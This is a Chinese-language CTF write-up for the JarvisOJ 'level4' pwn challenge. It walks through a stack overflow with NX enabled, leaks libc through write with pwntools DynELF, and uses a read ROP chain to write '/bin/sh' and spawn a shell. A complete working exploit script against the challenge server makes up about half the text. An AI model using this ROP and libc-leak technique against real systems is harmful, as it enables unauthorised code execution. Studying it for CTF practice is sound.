jarvisoj level4 wp ROP及DynELF模块

拿到题目
在这里插入图片描述
开启了NX。
放IDA里:
在这里插入图片描述
在这里插入图片描述
栈溢出。
程序本身没有调用system函数
在这里插入图片描述
无法ret2plt。
且题目本身没有给出目标的动态库的版本。题目本身有write函数,可以泄露内存,则可以利用pwntools的DynELF模块,找到system函数。
在这里插入图片描述
本身程序段没有/bin/sh的字符串,则需要使用read函数将字符串读入,read函数有三个参数,这就需要pop pop pop ret这个gadget。
使用ROPgadget搜索下:
在这里插入图片描述
本身程序段有这个gadget,那就直接拿来用。
使用pattern计算下溢出点写exp:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
exp如下:

from pwn import*

a=remote("pwn2.jarvisoj.com","9880")

elf=ELF("level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0")

plt_write=elf.symbols["write"]

vulner_addr=elf.symbols["vulnerable_function"]

def leak(addr):
	payload='A'*140 + p32(plt_write) + p32(vulner_addr) + p32(1) + p32(addr) + p32(4)
	a.send(payload)
	data=a.recv(4)
	return data

b=DynELF(leak,elf=ELF("level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0"))

system_addr=b.lookup("system","libc")

plt_read=elf.symbols["read"]

bss_addr=0x0804A024

pppr_addr=0x08048509

payload1='A'*140+p32(plt_read)+p32(pppr_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(system_addr)+p32(1)+p32(bss_addr)

a.sendline(payload1)

a.sendline("/bin/sh")

a.interactive()